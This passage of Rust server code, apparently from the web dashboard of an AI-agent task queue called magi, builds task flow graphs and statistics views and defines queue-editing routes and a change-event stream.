4368    let mut nodes = Vec::new();
4369    let mut edges: Vec<FlowEdge> = Vec::new();
4370    // A task queued from a chat opens the flow with that conversation.
4371    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4372        let mut n = node(
4373            "chat",
4374            "chat",
4375            format!("Chat {}", crate::queue::short(&link.id)),
4376        );
4377        n.href = Some(link.href);
4378        nodes.push(n);
4379        edges.push(FlowEdge {
4380            from: "chat".to_owned(),
4381            to: "start".to_owned(),
4382            label: "queued from chat".to_owned(),
4383            attempt: AttemptCost::None,
4384        });
4385    }
4386    nodes.push(node("start", "start", "Task queued".to_owned()));
4387    let mut prev = "start".to_owned();
4388    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4389    for (i, h) in history.iter().enumerate() {
4390        let key = format!("run-{}", h.n);
4391        let mut n = node(&key, "run", format!("Run {}", h.short));
4392        n.run_kind = Some(h.kind);
4393        n.readable = h.readable;
4394        n.href = Some(format!("#/runs/{}", h.id));
4395        n.decided = h.readable && !h.provisional;
4396        n.detail = h
4397            .branch
4398            .as_ref()
4399            .map(|b| format!("review-only run of branch {b}"));
4400        match h.exit {
4401            RunExit::Unreadable => n.note = Some("unreadable"),
4402            RunExit::Interrupted => n.note = Some("interrupted"),
4403            _ => {
4404                n.status = h.status;
4405                if h.provisional {
4406                    n.note = Some("no verdict");
4407                }
4408            }
4409        }
4410        let into = match h.kind {
4411            "review" => Some(format!(
4412                "review-only run of branch {}",
4413                h.branch.as_deref().unwrap_or("?")
4414            )),
4415            "resume" => Some("resume the same run".to_owned()),
4416            _ if i > 0 => Some("retry".to_owned()),
4417            _ => None,
4418        };
4419        let label = match (prev_exit, into) {
4420            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4421            (Some((e, st)), None) => e.edge_label(st),
4422            (None, Some(i)) => i,
4423            (None, None) => "claimed".to_owned(),
4424        };
4425        edges.push(FlowEdge {
4426            from: prev.clone(),
4427            to: key.clone(),
4428            label,
4429            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4430        });
4431        prev_exit = Some((h.exit, h.status));
4432        prev = key;
4433        nodes.push(n);
4434    }
4435    let mut end = node("end", "end", task.status.as_str().to_owned());
4436    end.status = Some(task.status.as_str());
4437    nodes.push(end);
4438    let (label, attempt) = match prev_exit {
4439        None => (
4440            format!("no run yet \u{2192} {}", task.status.as_str()),
4441            AttemptCost::None,
4442        ),
4443        Some((e, st)) if e.explains(task.status) => (
4444            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4445            e.cost(),
4446        ),
4447        Some((e, _)) => (
4448            format!("closed by hand: task is {}", task.status.as_str()),
4449            e.cost(),
4450        ),
4451    };
4452    edges.push(FlowEdge {
4453        from: prev,
4454        to: "end".to_owned(),
4455        label,
4456        attempt,
4457    });
4458    FlowView {
4459        nodes,
4460        edges,
4461        attempts: task.attempts,
4462        max_attempts,
4463    }
4464}
4465
4466/// Describe every entry of `task.runs`, in order, reading each run's record
4467/// through `read`.
4468fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4469    let mut history = Vec::with_capacity(task.runs.len());
4470    let mut seen: Vec<&str> = Vec::new();
4471    let mut prior: Option<(&str, RunStatus)> = None;
4472    for (i, run_id) in task.runs.iter().enumerate() {
4473        let state = read(run_id);
4474        let resumed = seen.contains(&run_id.as_str());
4475        seen.push(run_id);
4476        history.push(task_run_view(
4477            run_id,
4478            state.as_ref(),
4479            RunSlot {
4480                n: i + 1,
4481                resumed,
4482                resumed_later: task.runs[i + 1..]
4483                    .iter()
4484                    .position(|r| r == run_id)
4485                    .map(|off| i + off + 2),
4486                prior,
4487                last: i + 1 == task.runs.len(),
4488            },
4489            task,
4490        ));
4491        if let Some(s) = &state {
4492            prior = Some((run::short_of(run_id), s.status));
4493        }
4494    }
4495    history
4496}
4497
4498async fn task_detail(
4499    State(ui): State<Arc<Ui>>,
4500    Path(id): Path<String>,
4501) -> ApiResult<Json<TaskDetailView>> {
4502    blocking(move || {
4503        let id = resolve_task(&ui.queue, &id)?;
4504        let task = ui
4505            .queue
4506            .get(&id)
4507            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4508        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4509        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4510        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4511        let max_attempts = daemon::Opts::default().max_attempts;
4512        let flow = task_flow(&task, &history, max_attempts);
4513        Ok(Json(TaskDetailView {
4514            max_attempts,
4515            flow,
4516            history,
4517            runs_unreadable,
4518            attempts_note: ATTEMPTS_NOTE,
4519            task: TaskView::with_inventory(task, &inv),
4520        }))
4521    })
4522    .await
4523}
4524
4525/// A rate together with its denominator, so the client can tell "computed as
4526/// 0%" apart from "no data to compute it from" — both would otherwise
4527/// serialize as `0.0`. `None` means the denominator was zero.
4528#[derive(Debug, Serialize)]
4529struct RateView {
4530    pct: f64,
4531    denominator: usize,
4532}
4533
4534impl RateView {
4535    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4536        (denominator > 0).then(|| Self {
4537            pct: 100.0 * numerator as f64 / denominator as f64,
4538            denominator,
4539        })
4540    }
4541}
4542
4543/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4544/// rates, each paired with its own denominator via [`RateView`] rather than
4545/// exposing `Stats`' own percentage methods directly — see this module's
4546/// doc for why `Stats` itself is never serialized.
4547#[derive(Debug, Serialize)]
4548struct StatsTotalsView {
4549    runs: usize,
4550    merged: usize,
4551    ready: usize,
4552    blocked: usize,
4553    failed: usize,
4554    stalled: usize,
4555    verified_noop: usize,
4556    superseded: usize,
4557    in_progress: usize,
4558    completion_rate: Option<RateView>,
4559    tallied: usize,
4560    split: usize,
4561    split_rate: Option<RateView>,
4562    deliberated: usize,
4563    minds_changed: usize,
4564    converged: usize,
4565    review_rounds: usize,
4566}
4567
4568impl From<&stats::Totals> for StatsTotalsView {
4569    fn from(t: &stats::Totals) -> Self {
4570        Self {
4571            runs: t.runs,
4572            merged: t.merged,
4573            ready: t.ready,
4574            blocked: t.blocked,
4575            failed: t.failed,
4576            stalled: t.stalled,
4577            verified_noop: t.verified_noop,
4578            superseded: t.superseded,
4579            in_progress: t.in_progress,
4580            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4581            tallied: t.tallied,
4582            split: t.split,
4583            split_rate: RateView::of(t.split, t.tallied),
4584            deliberated: t.deliberated,
4585            minds_changed: t.minds_changed,
4586            converged: t.converged,
4587            review_rounds: t.review_rounds,
4588        }
4589    }
4590}
4591
4592/// [`crate::stats::AgentStats`] for the wire.
4593#[derive(Debug, Serialize)]
4594struct AgentStatsView {
4595    agent: String,
4596    entered: usize,
4597    wins: usize,
4598    empty: usize,
4599    win_rate: Option<RateView>,
4600}
4601
4602impl From<&stats::AgentStats> for AgentStatsView {
4603    fn from(a: &stats::AgentStats) -> Self {
4604        Self {
4605            agent: a.agent.clone(),
4606            entered: a.entered,
4607            wins: a.wins,
4608            empty: a.empty,
4609            win_rate: RateView::of(a.wins, a.entered),
4610        }
4611    }
4612}
4613
4614/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4615/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4616/// value, `None` when `rounds` is zero.
4617#[derive(Debug, Serialize)]
4618struct ReviewerStatsView {
4619    agent: String,
4620    rounds: usize,
4621    seated: usize,
4622    submitted: usize,
4623    adopted: usize,
4624    unique: usize,
4625    timeouts: usize,
4626    adopted_per_round: Option<f64>,
4627    precision: Option<RateView>,
4628    unique_rate: Option<RateView>,
4629    timeout_rate: Option<RateView>,
4630}
4631
4632impl From<&stats::ReviewerStats> for ReviewerStatsView {
4633    fn from(r: &stats::ReviewerStats) -> Self {
4634        Self {
4635            agent: r.agent.clone(),
4636            rounds: r.rounds,
4637            seated: r.seated,
4638            submitted: r.submitted,
4639            adopted: r.adopted,
4640            unique: r.unique,
4641            timeouts: r.timeouts,
4642            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4643            precision: RateView::of(r.adopted, r.submitted),
4644            unique_rate: RateView::of(r.unique, r.submitted),
4645            timeout_rate: RateView::of(r.timeouts, r.seated),
4646        }
4647    }
4648}
4649
4650/// [`crate::stats::AdvisorStats`] for the wire.
4651///
4652/// `reflection_rate` is approximate by construction — see
4653/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4654/// that caveat is static text in `index.html`, not a field here.
4655#[derive(Debug, Serialize)]
4656struct AdvisorStatsView {
4657    agent: String,
4658    seated: usize,
4659    proposed: usize,
4660    absent: usize,
4661    faint: usize,
4662    strong: usize,
4663    reflection_rate: Option<RateView>,
4664}
4665
4666impl From<&stats::AdvisorStats> for AdvisorStatsView {
4667    fn from(a: &stats::AdvisorStats) -> Self {
4668        Self {
4669            agent: a.agent.clone(),
4670            seated: a.seated,
4671            proposed: a.proposed,
4672            absent: a.absent,
4673            faint: a.faint,
4674            strong: a.strong,
4675            reflection_rate: RateView::of(a.strong, a.proposed),
4676        }
4677    }
4678}
4679
4680/// [`crate::stats::E2eStats`] for the wire.
4681#[derive(Debug, Serialize)]
4682struct E2eStatsView {
4683    rounds: usize,
4684    failures: usize,
4685    sole_detections: usize,
4686    deferred: usize,
4687    sole_rate: Option<RateView>,
4688}
4689
4690impl From<&stats::E2eStats> for E2eStatsView {
4691    fn from(e: &stats::E2eStats) -> Self {
4692        Self {
4693            rounds: e.rounds,
4694            failures: e.failures,
4695            sole_detections: e.sole_detections,
4696            deferred: e.deferred,
4697            sole_rate: RateView::of(e.sole_detections, e.failures),
4698        }
4699    }
4700}
4701
4702/// [`crate::stats::ReleaseBumpStats`] for the wire.
4703///
4704/// `clean` is sent as a raw count, computed the same way
4705/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4706/// needs_attention`) — never derived client-side from `automerge_enabled`,
4707/// which would misclassify a `merged_directly` bump (automerge rejected, but
4708/// magi merged it directly, so no human involvement) as needing attention.
4709#[derive(Debug, Serialize)]
4710struct ReleaseBumpStatsView {
4711    merged: usize,
4712    recorded: usize,
4713    pr_opened: usize,
4714    automerge_enabled: usize,
4715    merged_directly: usize,
4716    needs_attention: usize,
4717    clean: usize,
4718    coverage_rate: Option<RateView>,
4719    automerge_rate: Option<RateView>,
4720    attention_rate: Option<RateView>,
4721}
4722
4723impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4724    fn from(b: &stats::ReleaseBumpStats) -> Self {
4725        Self {
4726            merged: b.merged,
4727            recorded: b.recorded,
4728            pr_opened: b.pr_opened,
4729            automerge_enabled: b.automerge_enabled,
4730            merged_directly: b.merged_directly,
4731            needs_attention: b.needs_attention,
4732            clean: b.clean(),
4733            coverage_rate: RateView::of(b.recorded, b.merged),
4734            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4735            attention_rate: RateView::of(b.needs_attention, b.recorded),
4736        }
4737    }
4738}
4739
4740/// [`crate::queue::TaskCounts`] for the wire.
4741#[derive(Debug, Serialize)]
4742struct TaskCountsView {
4743    queued: usize,
4744    running: usize,
4745    done: usize,
4746    failed: usize,
4747    held: usize,
4748    blocked: usize,
4749}
4750
4751impl From<crate::queue::TaskCounts> for TaskCountsView {
4752    fn from(c: crate::queue::TaskCounts) -> Self {
4753        Self {
4754            queued: c.queued,
4755            running: c.running,
4756            done: c.done,
4757            failed: c.failed,
4758            held: c.held,
4759            blocked: c.blocked,
4760        }
4761    }
4762}
4763
4764/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4765/// runs recorded — the summary the UI's repository selector is built from.
4766/// Carries no nested `Stats`: picking a repo means re-fetching
4767/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4768/// aggregation rather than duplicating it.
4769#[derive(Debug, Serialize)]
4770struct RepoSummaryView {
4771    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4772    /// against, full path and all (see [`stats_get`]'s own doc for why).
4773    repo: String,
4774    /// Display name only; never used for matching.
4775    name: String,
4776    runs: usize,
4777    completion_rate: Option<RateView>,
4778}
4779
4780impl From<&stats::RepoStats> for RepoSummaryView {
4781    fn from(r: &stats::RepoStats) -> Self {
4782        let t = &r.stats.totals;
4783        Self {
4784            repo: r.repo.to_string_lossy().into_owned(),
4785            name: r.name.clone(),
4786            runs: t.runs,
4787            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4788        }
4789    }
4790}
4791
4792/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4793/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4794/// renders from them) are free to grow without that becoming a wire-contract
4795/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4796/// data" from "computed and it really is zero" the way [`RateView`] does.
4797#[derive(Debug, Serialize)]
4798struct StatsView {
4799    totals: StatsTotalsView,
4800    /// Best win rate first, as [`stats::collect`] already sorts it.
4801    agents: Vec<AgentStatsView>,
4802    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4803    reviewers: Vec<ReviewerStatsView>,
4804    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4805    advisors: Vec<AdvisorStatsView>,
4806    e2e: E2eStatsView,
4807    release_bumps: ReleaseBumpStatsView,
4808    queue: TaskCountsView,
4809    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4810    /// that field's doc. Asserted to match it in
4811    /// `stats_runs_unreadable_matches_health`.
4812    ///
4813    /// Always the whole-workload count, even when `repo` narrows every other
4814    /// field to one repository - an unreadable `run.json` carries no `repo`
4815    /// a per-repository count could attribute it to, and the queue/health
4816    /// views this mirrors never scope it either. The UI must not present it
4817    /// as if it were scoped to the selected repository.
4818    runs_unreadable: usize,
4819    /// Every repository with runs recorded, most runs first - what the UI's
4820    /// repository selector is built from. Always the full list regardless of
4821    /// `repo`, so switching repositories never needs a second request.
4822    repos: Vec<RepoSummaryView>,
4823    /// Runs per local day over the last 30 days, oldest first, always 30
4824    /// entries. Days are the *server's* local dates (the UI must not convert
4825    /// them again), cut by run creation and classified by current status.
4826    /// Narrowed by `repo` like every other run-derived field.
4827    daily: Vec<DailyStatsView>,
4828    /// The `?repo=` value this response was narrowed to, echoed back so the
4829    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4830    /// all-repositories view.
4831    repo: Option<String>,
4832    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
4833    /// current config roster no longer lists them. Empty with `?all=true`, an
4834    /// unreadable config, or when nothing was retired.
4835    retired_hidden: Vec<String>,
4836}
4837
4838/// One day of [`StatsView::daily`].
4839#[derive(Debug, Serialize)]
4840struct DailyStatsView {
4841    /// `YYYY-MM-DD`, server-local.
4842    date: String,
4843    runs: usize,
4844    merged: usize,
4845    ready: usize,
4846    other: usize,
4847    /// `None` on a day with no runs, so it never reads as 0%.
4848    completion_rate: Option<RateView>,
4849}
4850
4851impl From<&stats::DayBucket> for DailyStatsView {
4852    fn from(b: &stats::DayBucket) -> Self {
4853        Self {
4854            date: b.date.to_string(),
4855            runs: b.runs,
4856            merged: b.merged,
4857            ready: b.ready,
4858            other: b.other,
4859            completion_rate: RateView::of(b.merged + b.ready, b.runs),
4860        }
4861    }
4862}
4863
4864/// How many days [`StatsView::daily`] covers.
4865const STATS_DAILY_DAYS: usize = 30;
4866
4867/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4868/// repository. Matched by full-path equality against `RunState.repo` only
4869/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4870/// `--repo` is, because the value here always came from this same route's
4871/// own `repos` list in an earlier response, never typed by a human. A value
4872/// matching no run is a 404, not an empty aggregate: the caller asked for a
4873/// specific, named repository, and silently returning zeroes would look
4874/// exactly like a repository that has runs but none of interest.
4875#[derive(Debug, Default, Deserialize)]
4876#[serde(default)]
4877struct StatsQuery {
4878    repo: Option<String>,
4879    /// `?all=true` keeps agents that are no longer in the roster.
4880    all: bool,
4881}
4882
4883/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4884/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4885/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4886/// prints from. Reads every readable run on disk, exactly as
4887/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4888/// a separately-maintained tally could.
4889async fn stats_get(
4890    State(ui): State<Arc<Ui>>,
4891    Query(q): Query<StatsQuery>,
4892) -> ApiResult<Json<StatsView>> {
4893    blocking(move || {
4894        let states: Vec<RunState> = run_ids(&ui.runs)
4895            .into_iter()
4896            .filter_map(|id| read_run(&ui.runs, &id).ok())
4897            .collect();
4898        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4899            .iter()
4900            .map(RepoSummaryView::from)
4901            .collect();
4902        let mut scoped: Vec<&RunState> = states.iter().collect();
4903        let mut collected = match &q.repo {
4904            Some(repo) => {
4905                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4906                if filtered.is_empty() {
4907                    return Err(ApiError::not_found(format!(
4908                        "no runs recorded against repo `{repo}`"
4909                    )));
4910                }
4911                scoped = filtered.clone();
4912                stats::collect_refs(filtered)
4913            }
4914            None => stats::collect(&states),
4915        };
4916        if !q.all {
4917            let repo = q
4918                .repo
4919                .as_deref()
4920                .map_or_else(|| ui.repo.clone(), PathBuf::from);
4921            stats::retain_current_roster(&mut collected, &repo);
4922        }
4923        let daily = stats::daily(
4924            scoped,
4925            jiff::Zoned::now().date(),
4926            &jiff::tz::TimeZone::system(),
4927            STATS_DAILY_DAYS,
4928        );
4929        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4930        Ok(Json(StatsView {
4931            totals: StatsTotalsView::from(&collected.totals),
4932            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4933            reviewers: collected
4934                .reviewers
4935                .iter()
4936                .map(ReviewerStatsView::from)
4937                .collect(),
4938            advisors: collected
4939                .advisors
4940                .iter()
4941                .map(AdvisorStatsView::from)
4942                .collect(),
4943            e2e: E2eStatsView::from(&collected.e2e),
4944            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4945            queue: TaskCountsView::from(queue_counts),
4946            runs_unreadable: runs_unreadable(&ui.runs),
4947            repos,
4948            daily: daily.iter().map(DailyStatsView::from).collect(),
4949            repo: q.repo.clone(),
4950            retired_hidden: collected.retired_hidden.clone(),
4951        }))
4952    })
4953    .await
4954}
4955
4956/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4957/// gives no reason - which must keep working, since not every hold has one.
4958#[derive(Debug, Default, Deserialize)]
4959#[serde(default, deny_unknown_fields)]
4960struct HoldBody {
4961    reason: Option<String>,
4962}
4963
4964async fn queue_hold(
4965    State(ui): State<Arc<Ui>>,
4966    Path(id): Path<String>,
4967    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4968) -> ApiResult<Json<TaskView>> {
4969    // An absent body is the ordinary case - most holds are unexplained, and
4970    // that has to stay a one-tap action rather than a form. A body that is
4971    // present and malformed is still a bad request.
4972    let body = match body {
4973        Ok(Json(body)) => body,
4974        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4975        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4976    };
4977    let reason = body.reason.filter(|r| !r.trim().is_empty());
4978    mutate(ui, id, move |t| {
4979        t.hold_manual(reason.clone());
4980        Ok(())
4981    })
4982    .await
4983}
4984
4985async fn queue_release(
4986    State(ui): State<Arc<Ui>>,
4987    Path(id): Path<String>,
4988) -> ApiResult<Json<TaskView>> {
4989    mutate(ui, id, |t| {
4990        t.release();
4991        Ok(())
4992    })
4993    .await
4994}
4995
4996/// The body of `POST /api/queue/{id}/priority`.
4997#[derive(Debug, Deserialize)]
4998#[serde(deny_unknown_fields)]
4999struct PriorityBody {
5000    priority: i32,
5001}
5002
5003/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5004///
5005/// [`Task::set_priority`] is the one place the "not while running" rule is
5006/// stated; this route only carries the body to it and lets its `Err` become
5007/// the 4xx the card shows.
5008async fn queue_priority(
5009    State(ui): State<Arc<Ui>>,
5010    Path(id): Path<String>,
5011    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5012) -> ApiResult<Json<TaskView>> {
5013    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5014    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5015}
5016
5017/// The body of `POST /api/queue/{id}/edit`.
5018#[derive(Debug, Deserialize)]
5019#[serde(deny_unknown_fields)]
5020struct EditBody {
5021    title: String,
5022    instruction: String,
5023    /// Save even though the new text names a branch, commit or pull request
5024    /// that unfinished work already owns.
5025    #[serde(default)]
5026    force: bool,
5027}
5028
5029/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5030/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5031/// that refusal's message is what the sheet shows back.
5032async fn queue_edit(
5033    State(ui): State<Arc<Ui>>,
5034    Path(id): Path<String>,
5035    body: std::result::Result<Json<EditBody>, JsonRejection>,
5036) -> ApiResult<Json<TaskView>> {
5037    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5038    // The judge is an agent call, so it is awaited here, outside the claim
5039    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5040    // remembered, and the save refuses if the task moved underneath it.
5041    let mut judged: Option<(String, PathBuf)> = None;
5042    if !body.force {
5043        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5044        let (id, text) = (id.clone(), body.instruction.clone());
5045        let (seen, hits) = blocking(move || {
5046            let id = resolve_task(&queue, &id)?;
5047            let t = queue.get(&id)?;
5048            if text == t.instruction {
5049                return Ok((None, Vec::new()));
5050            }
5051            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5052            Ok((Some((t.instruction, t.repo)), hits))
5053        })
5054        .await?;
5055        if let Some((_, repo)) = &seen {
5056            let cfg = crate::config::Config::discover(repo, None)
5057                .ok()
5058                .map(|(c, _)| c);
5059            let screened =
5060                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5061                    .await
5062                    .map_err(|dup| {
5063                        ApiError::conflict(dup.render(
5064                            "Nothing was saved. If it is not a duplicate, repeat the request \
5065                             with \"force\": true.",
5066                        ))
5067                    })?;
5068            if let crate::dupes::Screened::Unjudged(why) = screened {
5069                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5070            }
5071        }
5072        judged = seen;
5073    }
5074    let force = body.force;
5075    mutate(ui, id, move |t| {
5076        if !force && body.instruction != t.instruction {
5077            match &judged {
5078                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5079                _ => {
5080                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5081                }
5082            }
5083        }
5084        t.edit(body.title.clone(), body.instruction.clone())
5085    })
5086    .await
5087}
5088
5089/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5090/// it, so the phone's other way to clear a task from the backlog does not
5091/// have to cost the run history, the attribution, and `created_at` the way
5092/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5093/// can be marked done by hand, because this is for the run the loop never
5094/// saw land - a merge done by hand, or a gate that misreported - and that can
5095/// happen from any status the task was left in.
5096async fn queue_done(
5097    State(ui): State<Arc<Ui>>,
5098    Path(id): Path<String>,
5099) -> ApiResult<Json<TaskView>> {
5100    let home = ui.home.clone();
5101    mutate(ui, id, move |t| {
5102        t.succeed();
5103        // Same as the loop's own settle path: closing a task by hand is just
5104        // as much "this task's story is over" as a daemon-driven `Merged`/
5105        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5106        // behind must stop looking like it still needs a human. `ui.home`,
5107        // not the process-global `run::home()`: they agree in a real
5108        // process, but only `ui.home` also agrees with a test fixture's own
5109        // directory.
5110        crate::daemon::supersede_prior_runs(t, &home);
5111        Ok(())
5112    })
5113    .await
5114}
5115
5116/// `DELETE /api/queue/{id}`.
5117///
5118/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5119/// names this task: a `running` status or an orphaned `.lock` left behind by a
5120/// killed daemon is a leftover, and treating either as authority made the
5121/// task undeletable from the phone for good. The associated runs, if any, are
5122/// kept: a run is self-contained history and not an appendage of the task.
5123async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5124    blocking(move || {
5125        let id = resolve_task(&ui.queue, &id)?;
5126        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5127        ui.queue
5128            .remove(&id, in_flight, &ui.questions)
5129            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5130        Ok(StatusCode::NO_CONTENT)
5131    })
5132    .await
5133}
5134
5135/// Read a task, change it, write it back, under the queue's own lock.
5136///
5137/// Taking the same claim a daemon takes is what makes hold, release,
5138/// priority, edit, and done safe to press while magi is running: without it
5139/// the daemon's next save would land on top of the operator's change and
5140/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5141/// both do, for a running task - and that refusal becomes the 4xx the card
5142/// shows, same as any other domain rule.
5143async fn mutate(
5144    ui: Arc<Ui>,
5145    id: String,
5146    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5147) -> ApiResult<Json<TaskView>> {
5148    blocking(move || {
5149        let id = resolve_task(&ui.queue, &id)?;
5150        // `claim` fails when the lock file already exists, which is the
5151        // conflict the UI must report: the daemon owns that task's file for
5152        // as long as it is running it, and our write would be lost under its
5153        // next save. The message names the lock either way.
5154        let _claim = ui.queue.claim(&id).map_err(|e| {
5155            ApiError::conflict(format!(
5156                "{e:#} - a daemon is running this task, so it cannot be \
5157                 changed from here yet"
5158            ))
5159        })?;
5160        let mut task = ui.queue.get(&id)?;
5161        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5162            Ok(dup) => ApiError::conflict(dup.render(
5163                "Nothing was saved. If it is not a duplicate, repeat the request with \
5164                 \"force\": true.",
5165            )),
5166            Err(e) => ApiError::bad_request_from(e),
5167        })?;
5168        ui.queue.put(&mut task)?;
5169        Ok(Json(TaskView::from(task)))
5170    })
5171    .await
5172}
5173
5174/// The change stream: one revision number per store, on connect and whenever
5175/// any of them moves.
5176///
5177/// The poll runs in one spawned task per client, which is affordable because
5178/// the work is a directory scan and a `stat` per file. It stops as soon as the
5179/// receiver is gone, so a phone that walks out of range costs nothing after
5180/// its next tick - there is no session and no cleanup to forget.
5181async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5182    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5183    tokio::spawn(async move {
5184        let mut ticker = tokio::time::interval(POLL);
5185        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5186        let mut stamps: Option<[Stamps; 3]> = None;
5187        loop {
5188            // The first tick completes immediately, which is what makes the
5189            // stream announce the current revisions on connect.
5190            ticker.tick().await;
5191            let state = Arc::clone(&ui);
5192            let revisions = tokio::task::spawn_blocking(move || {
5193                let stamps = [
5194                    store_stamps(state.queue.root(), false),
5195                    store_stamps(&state.runs, true),
5196                    store_stamps(state.talks.root(), false),
5197                ];
5198                let revisions = (
5199                    stamps_revision(&stamps[0]),
5200                    stamps_revision(&stamps[1]),
5201                    state.questions.revision(),
5202                    stamps_revision(&stamps[2]),
5203                    state.notices.revision(),
5204                    // The loop's counter is in-process state rather than a
5205                    // file, so nothing the three stats above look at would
5206                    // tell this phone that another one started the loop.
5207                    state.lock_loop().rev,
5208                );
5209                (revisions, stamps)
5210            })
5211            .await;
5212            let Ok((revisions, next_stamps)) = revisions else {
5213                break;
5214            };
5215            if last == Some(revisions) {
5216                continue;
5217            }
5218            let mut payload = serde_json::json!({
5219                "queue_rev": revisions.0,
5220                "runs_rev": revisions.1,
5221                "questions_rev": revisions.2,
5222                "talks_rev": revisions.3,
5223                "notifications_rev": revisions.4,
5224                "loop_rev": revisions.5,
5225            });
5226            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5227                for (index, (key, rev)) in [
5228                    ("queue_delta", base.0),
5229                    ("runs_delta", base.1),
5230                    ("talks_delta", base.3),
5231                ]
5232                .into_iter()
5233                .enumerate()
5234                {
5235                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5236                    // Empty diffs may mean a non-file dependency moved. Read whole.
5237                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5238                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5239                    }
5240                }
5241            }
5242            last = Some(revisions);
5243            stamps = Some(next_stamps);
5244            // Giving up beats looping if the receiver is gone.
5245            let Ok(event) = Event::default().event("change").json_data(payload) else {
5246                break;
5247            };
5248            if tx.send(event).await.is_err() {
5249                break;
5250            }
5251        }
5252    });
5253    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5254        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5255}
5256
5257type Stamps = HashMap<String, (u128, u64)>;
5258
5259/// Metadata only: no task instructions or conversation bodies are read here.
5260fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5261    std::fs::read_dir(root)
5262        .into_iter()
5263        .flatten()
5264        .flatten()
5265        .filter_map(|entry| {
5266            let path = if runs {
5267                entry.path().join("run.json")
5268            } else {
5269                entry.path()
5270            };
5271            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5272                return None;
5273            }
5274            let metadata = path.metadata().ok()?;
5275            let modified = metadata
5276                .modified()
5277                .ok()?
5278                .duration_since(std::time::UNIX_EPOCH)
5279                .ok()?;
5280            let id = if runs {
5281                entry.file_name().to_string_lossy().into_owned()
5282            } else {
5283                path.file_stem()?.to_string_lossy().into_owned()
5284            };
